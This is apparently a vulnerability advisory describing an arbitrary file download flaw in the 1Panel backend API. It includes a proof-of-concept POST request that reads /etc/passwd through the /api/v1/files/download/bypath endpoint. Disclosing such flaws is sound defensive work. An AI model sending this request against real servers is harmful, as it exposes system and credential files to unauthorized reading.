1Panel Arbitrary File Download vulnerability

Summary

Any file downloading vulnerability exists in 1Panel backend.

Details

Authenticated attackers can download arbitrary files through the API interface. This code has unauthorized access.

PoC

payload:

POST /api/v1/files/download/bypath HTTP/1.1
Host: ip
Content-Type: application/json

{"path":"/etc/passwd"}

Impact

Attackers can freely download the file content on the target system. This will be caused a large amount of information leakage.